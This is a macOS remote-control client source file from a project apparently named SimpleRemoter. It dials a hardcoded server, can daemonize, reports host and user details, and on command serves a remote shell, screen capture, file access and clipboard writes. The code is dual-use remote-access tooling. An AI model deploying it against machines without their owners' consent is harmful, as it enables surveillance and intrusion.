Files
SimpleRemoter/macos/main.mm
yuanyuanxiang 92f3df8464 Perf: Optimize macOS screen capture with CGDisplayStream
Core optimization:
- Use CGDisplayStream instead of per-frame CGDisplayCreateImage
- Push model: CPU sleeps when screen is static (condition_variable wait)
- IOSurface capture avoids expensive image creation per frame
- ~47% CPU reduction during active remote desktop (45% → 24%)

Additional optimizations:
- vImageVerticalReflect (SIMD) replaces manual row-by-row flip
- Cache CGColorSpaceRef to avoid per-frame creation/release
- Cache tempBuffer to avoid per-frame memory allocation
- Throttle getCursorTypeIndex to 250ms (Accessibility API is expensive)

Bug fixes:
- Fix unreliable screen capture permission check (use actual capture test)
- Improve permission logging

Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>
2026-05-03 23:36:23 +02:00

956 lines
34 KiB
Plaintext
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
#import <Cocoa/Cocoa.h>
#import <sys/sysctl.h>
#import <sys/stat.h>
#import <mach/mach.h>
#import <mach-o/dyld.h>
#import <pwd.h>
#import <signal.h>
#import <unistd.h>
#import <fcntl.h>
#import <IOKit/IOKitLib.h>
#import <IOKit/pwr_mgt/IOPMLib.h>
#import <fstream>
#import <thread>
#import <atomic>
#import <memory>
#import <string>
#import <map>
#import "../client/IOCPClient.h"
#define XXH_INLINE_ALL
#include "../common/xxhash.h"
#import "Permissions.h"
#import "ScreenHandler.h"
#import "InputHandler.h"
#import "SystemManager.h"
#import "../common/PTYHandler.h"
#import "../common/FileManager.h"
#import "../common/FileTransferV2.h"
#import "../common/logger.h"
#import "ClipboardHandler.h"
// Global state
static std::atomic<bool> g_running(true);
// Client ID (calculated from system info, used by ScreenHandler)
uint64_t g_myClientID = 0;
// 远程地址:当前为写死状态,如需调试,请按实际情况修改
CONNECT_ADDRESS g_SETTINGS = { FLAG_GHOST, "91.99.165.207", "443", CLIENT_TYPE_MACOS };
State g_bExit = S_CLIENT_NORMAL;
// ============== Configuration File Functions ==============
// Config path: ~/.config/ghost/config.conf (same as Linux)
// Format: key=value (one per line)
static std::string g_configDir;
static std::string g_configPath;
static std::map<std::string, std::string> g_configData;
// Initialize config paths
static void initConfigPaths()
{
if (!g_configDir.empty()) return; // Already initialized
const char* home = getenv("HOME");
if (!home) {
struct passwd* pw = getpwuid(getuid());
if (pw) home = pw->pw_dir;
}
if (!home) home = "/tmp";
g_configDir = std::string(home) + "/.config/ghost";
g_configPath = g_configDir + "/config.conf";
}
// Recursively create directory
static void mkdirRecursive(const std::string& path)
{
size_t pos = 0;
while ((pos = path.find('/', pos + 1)) != std::string::npos) {
mkdir(path.substr(0, pos).c_str(), 0755);
}
mkdir(path.c_str(), 0755);
}
// Load all config from file
static void loadConfig()
{
initConfigPaths();
g_configData.clear();
std::ifstream file(g_configPath);
if (!file.is_open()) return;
std::string line;
while (std::getline(file, line)) {
size_t eq = line.find('=');
if (eq != std::string::npos) {
g_configData[line.substr(0, eq)] = line.substr(eq + 1);
}
}
}
// Save all config to file
static void saveConfig()
{
initConfigPaths();
mkdirRecursive(g_configDir);
std::ofstream file(g_configPath, std::ios::trunc);
if (!file.is_open()) {
NSLog(@"Failed to save config to %s", g_configPath.c_str());
return;
}
for (const auto& kv : g_configData) {
file << kv.first << "=" << kv.second << "\n";
}
NSLog(@"Config saved to %s", g_configPath.c_str());
}
// Get config string value
static std::string getConfigStr(const std::string& key, const std::string& def = "")
{
auto it = g_configData.find(key);
return it != g_configData.end() ? it->second : def;
}
// Set config string value
static void setConfigStr(const std::string& key, const std::string& value)
{
g_configData[key] = value;
saveConfig();
}
// Save group name to config file
static void saveGroupName(const std::string& groupName)
{
setConfigStr("group_name", groupName);
NSLog(@"Group name saved: %s", groupName.c_str());
}
// Load group name from config file
static std::string loadGroupName()
{
return getConfigStr("group_name");
}
// ============== System Information Functions ==============
// Get macOS version string (e.g., "macOS 14.0 Sonoma")
static std::string getMacOSVersion()
{
NSOperatingSystemVersion version = [[NSProcessInfo processInfo] operatingSystemVersion];
NSString* versionString = [NSString stringWithFormat:@"macOS %ld.%ld.%ld",
(long)version.majorVersion,
(long)version.minorVersion,
(long)version.patchVersion];
return std::string([versionString UTF8String]);
}
// Get hostname
static std::string getHostname()
{
char hostname[256] = {};
gethostname(hostname, sizeof(hostname));
return std::string(hostname);
}
// Get CPU model and frequency
static std::string getCPUInfo()
{
char buf[256] = {};
size_t size = sizeof(buf);
if (sysctlbyname("machdep.cpu.brand_string", buf, &size, NULL, 0) == 0) {
return std::string(buf);
}
return "Unknown CPU";
}
// Get CPU frequency in MHz
static int getCPUFrequencyMHz()
{
uint64_t freq = 0;
size_t size = sizeof(freq);
if (sysctlbyname("hw.cpufrequency_max", &freq, &size, NULL, 0) == 0) {
return (int)(freq / 1000000);
}
return 0;
}
// Get number of CPU cores
static int getCPUCores()
{
int cores = 0;
size_t size = sizeof(cores);
if (sysctlbyname("hw.ncpu", &cores, &size, NULL, 0) == 0) {
return cores;
}
return 1;
}
// Get total physical memory in GB
static double getMemoryGB()
{
int64_t memSize = 0;
size_t size = sizeof(memSize);
if (sysctlbyname("hw.memsize", &memSize, &size, NULL, 0) == 0) {
return (double)memSize / (1024.0 * 1024.0 * 1024.0);
}
return 0;
}
// Get current username
static std::string getUsername()
{
struct passwd* pw = getpwuid(getuid());
if (pw && pw->pw_name) {
return std::string(pw->pw_name);
}
const char* user = getenv("USER");
return user ? std::string(user) : "unknown";
}
// Get screen resolution
static std::string getScreenResolution()
{
NSScreen* mainScreen = [NSScreen mainScreen];
if (mainScreen) {
NSRect frame = [mainScreen frame];
return [NSString stringWithFormat:@"1:%dx%d",
(int)frame.size.width, (int)frame.size.height].UTF8String;
}
return "0:0x0";
}
// Get executable path
static std::string getExecutablePath()
{
char path[PATH_MAX];
uint32_t size = sizeof(path);
if (_NSGetExecutablePath(path, &size) == 0) {
return std::string(path);
}
return "";
}
// Get current time string (Beijing time, UTC+8)
static std::string getTimeString()
{
NSDateFormatter* formatter = [[NSDateFormatter alloc] init];
[formatter setDateFormat:@"yyyy-MM-dd HH:mm:ss"];
[formatter setTimeZone:[NSTimeZone timeZoneForSecondsFromGMT:8*3600]];
NSString* dateString = [formatter stringFromDate:[NSDate date]];
return std::string([dateString UTF8String]);
}
// Get user idle time in seconds (time since last keyboard/mouse input)
static double getUserIdleTime()
{
// CGEventSourceSecondsSinceLastEventType returns seconds since last event
// kCGEventSourceStateCombinedSessionState includes all input sources
CFTimeInterval idleTime = CGEventSourceSecondsSinceLastEventType(
kCGEventSourceStateCombinedSessionState,
kCGAnyInputEventType
);
// Defensive: ensure non-negative (edge case protection)
return idleTime > 0 ? idleTime : 0;
}
// Check if screen is locked
static bool isScreenLocked()
{
// Method 1: Check CGSession dictionary for screen lock status
CFDictionaryRef sessionDict = CGSessionCopyCurrentDictionary();
if (sessionDict) {
// Check for "CGSSessionScreenIsLocked" key
CFBooleanRef screenLocked = (CFBooleanRef)CFDictionaryGetValue(
sessionDict, CFSTR("CGSSessionScreenIsLocked"));
if (screenLocked && CFBooleanGetValue(screenLocked)) {
CFRelease(sessionDict);
return true;
}
CFRelease(sessionDict);
}
// Method 2: Check if loginwindow is frontmost (screen saver / lock screen)
NSRunningApplication* frontApp = [[NSWorkspace sharedWorkspace] frontmostApplication];
if (frontApp) {
NSString* bundleId = [frontApp bundleIdentifier];
if ([bundleId isEqualToString:@"com.apple.loginwindow"] ||
[bundleId isEqualToString:@"com.apple.ScreenSaver.Engine"]) {
return true;
}
}
return false;
}
// Format time as HH:MM:SS with prefix
static std::string formatStatusTime(const char* prefix, double seconds)
{
int totalSecs = (int)seconds;
int hours = totalSecs / 3600;
int mins = (totalSecs % 3600) / 60;
int secs = totalSecs % 60;
char buffer[64];
snprintf(buffer, sizeof(buffer), "%s: %02d:%02d:%02d", prefix, hours, mins, secs);
return std::string(buffer);
}
// Get active application name or idle/locked status (works for background processes)
static std::string getActiveApp()
{
double idleTime = getUserIdleTime();
// Check if screen is locked first
if (isScreenLocked()) {
return formatStatusTime("Locked", idleTime);
}
// Check user idle time (matches Windows/Linux: 6 seconds threshold)
// If idle for more than 6 seconds, report inactive status
if (idleTime >= 6.0) {
return formatStatusTime("Inactive", idleTime);
}
// Use CGWindowListCopyWindowInfo to get the frontmost window
// This works reliably even when running as a background/nohup process
CFArrayRef windowList = CGWindowListCopyWindowInfo(
kCGWindowListOptionOnScreenOnly | kCGWindowListExcludeDesktopElements,
kCGNullWindowID
);
if (windowList) {
CFIndex count = CFArrayGetCount(windowList);
for (CFIndex i = 0; i < count; i++) {
CFDictionaryRef window = (CFDictionaryRef)CFArrayGetValueAtIndex(windowList, i);
// Get window layer - layer 0 is normal windows
CFNumberRef layerRef = (CFNumberRef)CFDictionaryGetValue(window, kCGWindowLayer);
int layer = 0;
if (layerRef) {
CFNumberGetValue(layerRef, kCFNumberIntType, &layer);
}
// Skip non-normal windows (menu bar, dock, etc.)
if (layer != 0) continue;
// Get owner name (application name)
CFStringRef ownerName = (CFStringRef)CFDictionaryGetValue(window, kCGWindowOwnerName);
if (ownerName) {
char buffer[256] = {};
if (CFStringGetCString(ownerName, buffer, sizeof(buffer), kCFStringEncodingUTF8)) {
CFRelease(windowList);
return std::string(buffer);
}
}
}
CFRelease(windowList);
}
// Fallback to NSWorkspace (may not work for background processes)
NSRunningApplication* app = [[NSWorkspace sharedWorkspace] frontmostApplication];
if (app) {
NSString* name = [app localizedName];
if (name) {
return std::string([name UTF8String]);
}
}
return "";
}
// ============== Check if camera exists ==============
static bool hasCameraDevice()
{
// Most MacBooks have built-in FaceTime camera
// Check model identifier to determine if it's a MacBook
char model[256] = {};
size_t size = sizeof(model);
if (sysctlbyname("hw.model", model, &size, NULL, 0) == 0) {
std::string modelStr(model);
// MacBooks (Air/Pro) always have cameras
if (modelStr.find("MacBook") != std::string::npos) {
return true;
}
// iMac also has camera
if (modelStr.find("iMac") != std::string::npos) {
return true;
}
}
// Mac Mini and Mac Pro typically don't have built-in cameras
return false;
}
// ============== Public IP ==============
// Execute command and return output
static std::string execCmd(const std::string& cmd)
{
std::unique_ptr<FILE, decltype(&pclose)> pipe(popen(cmd.c_str(), "r"), pclose);
if (!pipe) return "";
char buf[4096];
std::string result;
while (fgets(buf, sizeof(buf), pipe.get())) {
result += buf;
}
// Trim trailing whitespace
while (!result.empty() && (result.back() == '\n' || result.back() == '\r' || result.back() == ' '))
result.pop_back();
return result;
}
// HTTP GET using curl (macOS has curl built-in)
static std::string httpGet(const std::string& url, int timeoutSec = 5)
{
std::string t = std::to_string(timeoutSec);
return execCmd("curl -s --max-time " + t + " \"" + url + "\" 2>/dev/null");
}
// Get public IP (try multiple sources)
static std::string getPublicIP()
{
static const char* urls[] = {
"https://checkip.amazonaws.com",
"https://api.ipify.org",
"https://ipinfo.io/ip",
"https://icanhazip.com",
"https://ifconfig.me/ip",
};
for (auto& url : urls) {
std::string ip = httpGet(url, 3);
// Validate: non-empty, contains dot, reasonable length
if (!ip.empty() && ip.find('.') != std::string::npos && ip.size() <= 45) {
NSLog(@"getPublicIP: %s (from %s)", ip.c_str(), url);
return ip;
}
}
NSLog(@"getPublicIP: all sources failed");
return "";
}
// ============== Install Time (persistent storage) ==============
static std::string getInstallTime()
{
@autoreleasepool {
NSUserDefaults* defaults = [NSUserDefaults standardUserDefaults];
NSString* installTime = [defaults stringForKey:@"ghost_install_time"];
if (installTime == nil || [installTime length] == 0) {
// First run - record current time as install time
std::string currentTime = getTimeString();
installTime = [NSString stringWithUTF8String:currentTime.c_str()];
[defaults setObject:installTime forKey:@"ghost_install_time"];
[defaults synchronize];
NSLog(@"First run - recorded install time: %@", installTime);
}
return std::string([installTime UTF8String]);
}
}
// ============== Fill LOGIN_INFOR ==============
static void fillLoginInfo(LOGIN_INFOR& info)
{
// Token is set in constructor
info.bToken = TOKEN_LOGIN;
// OS Version
std::string osVer = getMacOSVersion();
strncpy(info.OsVerInfoEx, osVer.c_str(), sizeof(info.OsVerInfoEx) - 1);
// CPU MHz
info.dwCPUMHz = getCPUFrequencyMHz();
// PC Name (hostname) - with group name if set
std::string hostname = getHostname();
std::string groupName = loadGroupName();
if (!groupName.empty()) {
// Also update g_SETTINGS for consistency
strncpy(g_SETTINGS.szGroupName, groupName.c_str(), sizeof(g_SETTINGS.szGroupName) - 1);
g_SETTINGS.szGroupName[sizeof(g_SETTINGS.szGroupName) - 1] = '\0';
// Format: "hostname/groupname"
std::string pcNameWithGroup = hostname + "/" + groupName;
strncpy(info.szPCName, pcNameWithGroup.c_str(), sizeof(info.szPCName) - 1);
} else if (g_SETTINGS.szGroupName[0] != 0) {
// Use group from g_SETTINGS (set at build time)
groupName = g_SETTINGS.szGroupName;
std::string pcNameWithGroup = hostname + "/" + groupName;
strncpy(info.szPCName, pcNameWithGroup.c_str(), sizeof(info.szPCName) - 1);
} else {
strncpy(info.szPCName, hostname.c_str(), sizeof(info.szPCName) - 1);
}
info.szPCName[sizeof(info.szPCName) - 1] = '\0';
// Webcam
info.bWebCamIsExist = hasCameraDevice() ? 1 : 0;
// Start time (current session start)
std::string startTime = getTimeString();
strncpy(info.szStartTime, startTime.c_str(), sizeof(info.szStartTime) - 1);
// Reserved fields (pipe-separated, must match Windows client order)
// Order: Type|Bits|Cores|Memory|Path|?|InstallTime|?|ProgBits|Auth|Location|IP|Version|User|IsAdmin|Resolution|ClientID
// 1. Client type (use GetClientType for consistency with Windows client)
info.AddReserved(GetClientType(CLIENT_TYPE_MACOS));
// 2. System bits (OS bits, always 64 on modern macOS)
info.AddReserved(64);
// 3. CPU cores
info.AddReserved(getCPUCores());
// 4. Memory (GB)
info.AddReserved(getMemoryGB());
// 5. File path (executable path)
std::string exePath = getExecutablePath();
info.AddReserved(exePath.c_str());
// 6. Placeholder
info.AddReserved("?");
// 7. Install time (first run time, persistent)
std::string installTime = getInstallTime();
info.AddReserved(installTime.c_str());
// 8. Active window / Start time (initial value is start time, updated via heartbeat)
info.AddReserved(startTime.c_str());
// 9. Program bits (always 64 on modern macOS)
info.AddReserved(64);
// 10. Authorization info (placeholder)
info.AddReserved("");
// 11. Location (placeholder, could add GeoIP later)
info.AddReserved("");
// 12. Public IP
std::string pubIP = getPublicIP();
info.AddReserved(pubIP.c_str());
// 13. Version
info.AddReserved("1.0.0");
// 14. Current username
std::string username = getUsername();
info.AddReserved(username.c_str());
// 15. Is running as root
info.AddReserved(getuid() == 0 ? 1 : 0);
// 16. Screen resolution (format: count:widthxheight)
std::string resolution = getScreenResolution();
info.AddReserved(resolution.c_str());
// 17. Client ID (calculated from system info, same algorithm as server)
// Format: pubIP|hostname|os|cpu|path
char cpuStr[32];
snprintf(cpuStr, sizeof(cpuStr), "%uMHz", info.dwCPUMHz);
std::string idInput = (pubIP.empty() ? "?" : pubIP) + "|" +
hostname + "|" +
osVer + "|" +
cpuStr + "|" +
exePath;
g_myClientID = XXH64(idInput.c_str(), idInput.length(), 0);
info.AddReserved(std::to_string(g_myClientID).c_str());
NSLog(@"LOGIN_INFOR filled: OS=%s, Host=%s, CPU=%dMHz, PubIP=%s, ClientID=%llu",
osVer.c_str(), hostname.c_str(), info.dwCPUMHz, pubIP.c_str(), g_myClientID);
}
// ============== Signal Handling ==============
static void signalHandler(int sig)
{
NSLog(@"Received signal %d, shutting down...", sig);
g_running = false;
g_bExit = S_CLIENT_EXIT; // 通知所有工作线程退出
}
static void setupSignals()
{
signal(SIGTERM, signalHandler);
signal(SIGINT, signalHandler);
signal(SIGHUP, SIG_IGN);
signal(SIGPIPE, SIG_IGN);
}
// 经典 Unix 双 fork 守护进程
static void daemonize()
{
pid_t pid = fork();
if (pid < 0) exit(1);
if (pid > 0) exit(0); // 父进程退出
setsid(); // 新会话,脱离终端
pid = fork(); // 第二次 fork防止重新获取控制终端
if (pid < 0) exit(1);
if (pid > 0) exit(0);
// 关闭标准文件描述符,重定向到 /dev/null
close(STDIN_FILENO);
close(STDOUT_FILENO);
close(STDERR_FILENO);
open("/dev/null", O_RDONLY); // fd 0 = stdin
open("/dev/null", O_WRONLY); // fd 1 = stdout
open("/dev/null", O_WRONLY); // fd 2 = stderr
}
// ============== Main Entry Point ==============
// RTT 估算器(参考 RFC 6298 算法,与 Windows 端 KernelManager 一致)
struct RttEstimator {
double srtt = 0.0; // 平滑 RTT (秒)
double rttvar = 0.0; // RTT 波动 (秒)
double rto = 0.0; // 超时时间 (秒)
bool initialized = false;
void update_from_sample(double rtt_ms)
{
// 过滤异常值RTT应在合理范围内 (0, 30000] 毫秒
if (rtt_ms <= 0 || rtt_ms > 30000)
return;
const double alpha = 1.0 / 8;
const double beta = 1.0 / 4;
double rtt = rtt_ms / 1000.0;
if (!initialized) {
srtt = rtt;
rttvar = rtt / 2.0;
rto = srtt + 4.0 * rttvar;
initialized = true;
} else {
rttvar = (1.0 - beta) * rttvar + beta * std::fabs(srtt - rtt);
srtt = (1.0 - alpha) * srtt + alpha * rtt;
rto = srtt + 4.0 * rttvar;
}
// 限制最小 RTORFC 6298 推荐 1 秒)
if (rto < 1.0) rto = 1.0;
}
};
RttEstimator g_rttEstimator;
int g_heartbeatInterval = 5; // 心跳间隔(秒),默认 5 秒,后续可由服务端动态调整
void* ShellworkingThread(void* param)
{
try {
std::unique_ptr<IOCPClient> ClientObject(new IOCPClient(g_bExit, true));
void* clientAddr = ClientObject.get();
NSLog(@">>> Enter ShellworkingThread [%p]", clientAddr);
if (!g_bExit && ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort())) {
std::unique_ptr<PTYHandler> handler(new PTYHandler(ClientObject.get()));
ClientObject->setManagerCallBack(handler.get(), IOCPManager::DataProcess, IOCPManager::ReconnectProcess);
BYTE bToken = TOKEN_TERMINAL_START;
ClientObject->Send2Server((char*)&bToken, 1);
NSLog(@">>> ShellworkingThread [%p] Send: TOKEN_TERMINAL_START", clientAddr);
while (ClientObject->IsRunning() && ClientObject->IsConnected() && S_CLIENT_NORMAL == g_bExit)
Sleep(1000);
// 清除回调,防止重连线程访问已销毁的 handler
ClientObject->setManagerCallBack(nullptr, nullptr, nullptr);
}
NSLog(@">>> Leave ShellworkingThread [%p]", clientAddr);
} catch (const std::exception& e) {
NSLog(@"*** ShellworkingThread exception: %s ***", e.what());
}
return NULL;
}
void* ScreenworkingThread(void* param)
{
try {
std::unique_ptr<IOCPClient> ClientObject(new IOCPClient(g_bExit, true));
void* clientAddr = ClientObject.get();
Mprintf(">>> Enter ScreenworkingThread [%p]\n", clientAddr);
if (!g_bExit && ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort())) {
std::unique_ptr<ScreenHandler> handler(new ScreenHandler(ClientObject.get()));
if (!handler->init()) {
Mprintf("*** ScreenHandler initialization failed (no permission?) ***\n");
return NULL;
}
ClientObject->setManagerCallBack(handler.get(), IOCPManager::DataProcess, IOCPManager::ReconnectProcess);
// 连接后立即发送完整的 BITMAPINFO 包(与 Windows 端 ScreenManager 流程一致)
handler->sendBitmapInfo();
Mprintf(">>> ScreenworkingThread [%p] Send: TOKEN_BITMAPINFO\n", clientAddr);
while (ClientObject->IsRunning() && ClientObject->IsConnected() && S_CLIENT_NORMAL == g_bExit)
Sleep(1000);
// 清除回调,防止重连线程访问已销毁的 handler
ClientObject->setManagerCallBack(nullptr, nullptr, nullptr);
}
Mprintf(">>> Leave ScreenworkingThread [%p]\n", clientAddr);
} catch (const std::exception& e) {
Mprintf("*** ScreenworkingThread exception: %s ***\n", e.what());
}
return NULL;
}
void* FileManagerworkingThread(void* param)
{
try {
std::unique_ptr<IOCPClient> ClientObject(new IOCPClient(g_bExit, true));
void* clientAddr = ClientObject.get();
Mprintf(">>> Enter FileManagerworkingThread [%p]\n", clientAddr);
if (!g_bExit && ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort())) {
std::unique_ptr<FileManager> handler(new FileManager(ClientObject.get()));
ClientObject->setManagerCallBack(handler.get(), IOCPManager::DataProcess, IOCPManager::ReconnectProcess);
Mprintf(">>> FileManagerworkingThread [%p] initialized\n", clientAddr);
while (ClientObject->IsRunning() && ClientObject->IsConnected() && S_CLIENT_NORMAL == g_bExit)
Sleep(1000);
// 清除回调,防止重连线程访问已销毁的 handler
ClientObject->setManagerCallBack(nullptr, nullptr, nullptr);
}
Mprintf(">>> Leave FileManagerworkingThread [%p]\n", clientAddr);
} catch (const std::exception& e) {
Mprintf("*** FileManagerworkingThread exception: %s ***\n", e.what());
}
return NULL;
}
int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength)
{
if (szBuffer == nullptr || ulLength == 0)
return TRUE;
if (szBuffer[0] == COMMAND_BYE) {
Mprintf("*** [%p] Received Bye-Bye command ***\n", user);
g_bExit = S_CLIENT_EXIT;
g_running = false; // Stop main loop to prevent reconnection
} else if (szBuffer[0] == COMMAND_SHELL) {
std::thread(ShellworkingThread, nullptr).detach();
Mprintf("** [%p] Received 'SHELL' command ***\n", user);
} else if (szBuffer[0] == COMMAND_SCREEN_SPY) {
std::thread(ScreenworkingThread, nullptr).detach();
Mprintf("** [%p] Received 'SCREEN_SPY' command ***\n", user);
} else if (szBuffer[0] == COMMAND_SYSTEM) {
Mprintf("** [%p] Received 'SYSTEM' command ***\n", user);
} else if (szBuffer[0] == COMMAND_LIST_DRIVE) {
std::thread(FileManagerworkingThread, nullptr).detach();
Mprintf("** [%p] Received 'LIST_DRIVE' command ***\n", user);
} else if (szBuffer[0] == COMMAND_C2C_PREPARE) {
// C2C 准备接收通知
FileTransferV2::HandleC2CPrepare(szBuffer, ulLength, nullptr);
Mprintf("** [%p] C2C Prepare received ***\n", user);
} else if (szBuffer[0] == COMMAND_C2C_TEXT) {
// C2C 文本剪贴板: [cmd:1][dstClientID:8][textLen:4][text:N]
if (ulLength >= 13) {
uint32_t textLen;
memcpy(&textLen, szBuffer + 9, 4);
if (ulLength >= 13 + textLen && textLen > 0) {
if (!ClipboardHandler::IsAvailable()) {
Mprintf("** [%p] C2C Text: clipboard unavailable ***\n", user);
} else {
std::string utf8Text((const char*)szBuffer + 13, textLen);
if (ClipboardHandler::SetText(utf8Text)) {
Mprintf("** [%p] C2C Text received: %u bytes ***\n", user, textLen);
}
}
}
}
} else if (szBuffer[0] == COMMAND_SEND_FILE_V2 || szBuffer[0] == COMMAND_FILE_COMPLETE_V2) {
// V2 文件接收
int result = FileTransferV2::RecvFileChunkV2(szBuffer, ulLength, g_myClientID);
if (result != 0) {
Mprintf("** [%p] V2 File recv error: %d ***\n", user, result);
}
} else if (szBuffer[0] == CMD_HEARTBEAT_ACK) {
if (ulLength >= 1 + sizeof(HeartbeatACK)) {
HeartbeatACK* ack = (HeartbeatACK*)(szBuffer + 1);
uint64_t now = GetUnixMs();
double rtt_ms = (double)(now - ack->Time);
g_rttEstimator.update_from_sample(rtt_ms);
// Log at most once per minute
static uint64_t lastLogTime = 0;
if (now - lastLogTime >= 60000) {
lastLogTime = now;
Mprintf("** [%p] Heartbeat ACK: RTT=%.1fms, SRTT=%.1fms ***\n",
user, rtt_ms, g_rttEstimator.srtt * 1000);
}
}
} else if (szBuffer[0] == CMD_MASTERSETTING) {
int settingSize = ulLength - 1;
if (settingSize >= (int)sizeof(int)) { // 至少包含 ReportInterval
MasterSettings settings = {};
memcpy(&settings, szBuffer + 1, settingSize < (int)sizeof(MasterSettings) ? settingSize : sizeof(MasterSettings));
if (settings.ReportInterval > 0)
g_heartbeatInterval = settings.ReportInterval;
Mprintf("** [%p] MasterSettings: ReportInterval=%ds ***\n", user, g_heartbeatInterval);
}
} else if (szBuffer[0] == COMMAND_NEXT) {
Mprintf("** [%p] Received 'NEXT' command ***\n", user);
} else if (szBuffer[0] == CMD_SET_GROUP) {
// Extract group name from message (starts at byte 1)
std::string groupName;
if (ulLength > 1) {
groupName = std::string((char*)szBuffer + 1, ulLength - 1);
// Remove trailing nulls
size_t pos = groupName.find('\0');
if (pos != std::string::npos) {
groupName = groupName.substr(0, pos);
}
}
// Save to config file
saveGroupName(groupName);
// Update global settings
memset(g_SETTINGS.szGroupName, 0, sizeof(g_SETTINGS.szGroupName));
strncpy(g_SETTINGS.szGroupName, groupName.c_str(), sizeof(g_SETTINGS.szGroupName) - 1);
Mprintf("** [%p] Group changed to: %s ***\n", user, groupName.c_str());
} else {
Mprintf("** [%p] Received unimplemented command: %d ***\n", user, int(szBuffer[0]));
}
return TRUE;
}
// 用法: ./ghost [-d]
// -d 后台守护进程模式
int main(int argc, const char* argv[])
{
// 解析 -d 参数
bool daemon_mode = (argc > 1 && strcmp(argv[1], "-d") == 0);
// 守护进程模式:在进入 autoreleasepool 之前 fork
if (daemon_mode) {
daemonize();
}
@autoreleasepool {
NSLog(@"=== macOS Ghost Client%s ===", daemon_mode ? " (daemon)" : "");
// ============== Power Management: Keep System Awake ==============
// 1. Disable App Nap - prevent macOS from suspending this process
id<NSObject> powerActivity = [[NSProcessInfo processInfo]
beginActivityWithOptions:(NSActivityUserInitiated | NSActivityIdleSystemSleepDisabled)
reason:@"Remote control client must maintain persistent connection"];
NSLog(@"App Nap disabled, activity token acquired");
// 2. Prevent system idle sleep using IOKit power assertion
IOPMAssertionID sleepAssertionID = 0;
IOReturn result = IOPMAssertionCreateWithName(
kIOPMAssertionTypeNoIdleSleep,
kIOPMAssertionLevelOn,
CFSTR("SimpleRemoter macOS client - maintaining remote connection"),
&sleepAssertionID
);
if (result == kIOReturnSuccess) {
NSLog(@"Power assertion created: system idle sleep disabled (ID: %u)", sleepAssertionID);
} else {
NSLog(@"Warning: Failed to create power assertion (error: 0x%x)", result);
}
// 3. Display sleep: managed by ScreenHandler - only prevents display sleep
// when remote desktop is actively connected (saves power when idle)
// Setup signal handlers
setupSignals();
// Load configuration file (~/.config/ghost/config.conf)
loadConfig();
NSLog(@"Config loaded from %s", g_configPath.c_str());
// Check permissions
NSLog(@"Checking permissions...");
bool hasScreenCapture = Permissions::checkScreenCapture();
if (hasScreenCapture) {
NSLog(@"Screen capture permission: OK");
} else {
NSLog(@"Screen capture permission not granted.");
NSLog(@"Please grant permission in System Preferences > Privacy & Security > Screen Recording");
// Request permission (triggers system dialog on first run)
Permissions::requestScreenCapture();
// Only open settings if this appears to be a re-run without permission
// Check again after request (dialog may have been shown)
if (!Permissions::checkScreenCapture()) {
Permissions::openScreenCaptureSettings();
}
}
bool hasAccessibility = Permissions::checkAccessibility();
if (hasAccessibility) {
NSLog(@"Accessibility permission: OK");
} else {
NSLog(@"Accessibility permission not granted.");
NSLog(@"Please grant permission in System Preferences > Privacy & Security > Accessibility");
Permissions::requestAccessibility();
}
// FDA check is unreliable (no official API), just log a warning
if (!Permissions::checkFullDiskAccess()) {
NSLog(@"Full Disk Access: not detected (may be false negative).");
NSLog(@"If file access issues occur, grant FDA in System Preferences > Privacy & Security > Full Disk Access");
// Don't auto-open settings since detection is unreliable
} else {
NSLog(@"Full Disk Access: OK");
}
// Create client
auto ClientObject = std::make_unique<IOCPClient>(g_bExit, false);
ClientObject->setManagerCallBack(NULL, DataProcess, NULL);
// Main event loop
NSLog(@"Starting main loop...");
LOGIN_INFOR logInfo;
fillLoginInfo(logInfo);
while (g_running) {
clock_t c = clock();
if (!ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort())) {
Sleep(5000);
continue;
}
ClientObject->SendLoginInfo(logInfo.Speed(clock() - c));
// 心跳保活循环:定时发送心跳包,服务端回复后动态更新 RTT
while (ClientObject->IsRunning() && ClientObject->IsConnected() && S_CLIENT_NORMAL == g_bExit) {
// 等待心跳间隔(每秒检查一次退出条件,保证及时响应)
int interval = g_heartbeatInterval > 0 ? g_heartbeatInterval : 30;
for (int i = 0; i < interval; ++i) {
if (!ClientObject->IsRunning() || !ClientObject->IsConnected() || g_bExit != S_CLIENT_NORMAL)
break;
Sleep(1000);
}
if (!ClientObject->IsRunning() || !ClientObject->IsConnected() || g_bExit != S_CLIENT_NORMAL)
break;
// 构造并发送心跳包(与 Windows 端 KernelManager::SendHeartbeat 格式一致)
std::string activity = getActiveApp();
Heartbeat hb;
hb.Time = GetUnixMs();
hb.Ping = (int)(g_rttEstimator.srtt * 1000); // srtt 是秒,转为毫秒
strncpy(hb.ActiveWnd, activity.c_str(), sizeof(hb.ActiveWnd) - 1);
BYTE buf[sizeof(Heartbeat) + 1];
buf[0] = TOKEN_HEARTBEAT;
memcpy(buf + 1, &hb, sizeof(Heartbeat));
ClientObject->Send2Server((char*)buf, sizeof(buf));
}
}
NSLog(@"Shutting down...");
// Release power assertions
if (sleepAssertionID) {
IOPMAssertionRelease(sleepAssertionID);
NSLog(@"Released sleep assertion");
}
// Display assertion is managed by ScreenHandler (released in stop())
// powerActivity is automatically released when exiting @autoreleasepool
(void)powerActivity; // Suppress unused variable warning
}
return 0;
}